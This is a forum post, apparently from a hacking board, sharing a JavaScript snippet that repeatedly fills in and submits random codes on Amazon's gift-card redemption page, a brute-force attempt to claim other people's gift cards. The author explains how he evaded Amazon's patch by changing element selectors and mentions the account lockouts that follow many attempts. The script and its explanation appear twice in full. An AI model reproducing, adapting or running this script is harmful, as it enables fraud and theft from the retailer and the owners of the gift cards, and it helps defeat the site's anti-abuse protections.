Reyo007
AI-Driven OSINT Specialist
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 2
700 XP
So like about a month or two ago I stumbled upon someone who leaked an interesting piece of javascript. They managed to use javascript to randomly input a value, or gift card, into the gift card input area. This was awesome because it didn't need proxies or any of that complicated shit. But, this thread was made like 2 years ago, and amazon found a way to patch it. So, when I tried it out, it just didn't work at all. I gave up on trying to use it. Fast forward to like a few days ago, I just finished my coding classes and I stumbled upon this script again. After what I learned from the classes, I found out how fucking simple it was to make this script work again. This is how I did it:
alert("Made by Mostafa, Edited by aguy191");
var speed = prompt("Type 1,000 if your PC is fast, 500 for a slow pc")
function makeid() {
var text = "";
var possible = "6SJXEoQ0Htx4WhvKgu2b3fIrle8wBZs1MRpT9PGyDCLVUmYO5AdiankFc7qjzN"; //you can edit this to your own generation code
for (var i = 0; i < 15; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
function main() {
document.getElementsByClassName("a-input-text a-form-error a-width-medium pmts-claim-code")[0].value = makeid();
document.getElementsByClassName("a-button a-button-base pmts-claim-code-apply-button pmts-button-input")[0].click();
}
setInterval(function() {
main();
}, speed);
The problem with the original script was the way it found its elements. Amazon patched this by changing the IDs of the inputs every refresh, causing the script to crash after the first check. The thing that was super simple to change was the way that this script got the elements. All I had to do was change the way it found the elements to classname instead of ID. Amazon found a way to patch one method, but they still left out a shit ton more lol. Now of course there is some problems you will have to face with this kind of script. First of all after enough attempts amazon literally just logs you out and makes you change your password, which is annoying as hell. And one factor that I always forget is that this script won't work in less you make the input area an invalid one, pretty much enter a fake gift card to get an invalid code or that red triangle above it. Though, those are the only problems i've ever experienced.
Original thread of where I found this script:
PLS NO LEACH, WILL REPORT LEACHERS
alert("Made by Mostafa, Edited by aguy191");
var speed = prompt("Type 1,000 if your PC is fast, 500 for a slow pc")
function makeid() {
var text = "";
var possible = "6SJXEoQ0Htx4WhvKgu2b3fIrle8wBZs1MRpT9PGyDCLVUmYO5AdiankFc7qjzN"; //you can edit this to your own generation code
for (var i = 0; i < 15; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
function main() {
document.getElementsByClassName("a-input-text a-form-error a-width-medium pmts-claim-code")[0].value = makeid();
document.getElementsByClassName("a-button a-button-base pmts-claim-code-apply-button pmts-button-input")[0].click();
}
setInterval(function() {
main();
}, speed);
The problem with the original script was the way it found its elements. Amazon patched this by changing the IDs of the inputs every refresh, causing the script to crash after the first check. The thing that was super simple to change was the way that this script got the elements. All I had to do was change the way it found the elements to classname instead of ID. Amazon found a way to patch one method, but they still left out a shit ton more lol. Now of course there is some problems you will have to face with this kind of script. First of all after enough attempts amazon literally just logs you out and makes you change your password, which is annoying as hell. And one factor that I always forget is that this script won't work in less you make the input area an invalid one, pretty much enter a fake gift card to get an invalid code or that red triangle above it. Though, those are the only problems i've ever experienced.
Original thread of where I found this script:
PLS NO LEACH, WILL REPORT LEACHERS